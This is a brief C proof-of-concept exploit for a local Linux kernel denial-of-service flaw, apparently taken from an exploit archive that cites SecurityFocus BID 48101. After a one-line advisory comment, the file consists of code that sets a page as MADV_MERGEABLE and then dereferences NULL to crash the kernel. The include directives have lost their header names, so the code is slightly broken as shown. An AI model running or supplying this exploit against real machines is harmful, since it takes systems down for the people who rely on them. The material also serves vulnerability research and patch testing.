/* source: https://www.securityfocus.com/bid/48101/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition. */ #include #include #include #include #define BUFSIZE getpagesize() int main(int argc, char **argv) { void *ptr; if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) { perror("posix_memalign"); exit(1); } if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) { perror("madvise"); exit(1); } *(char *)NULL = 0; return 0; }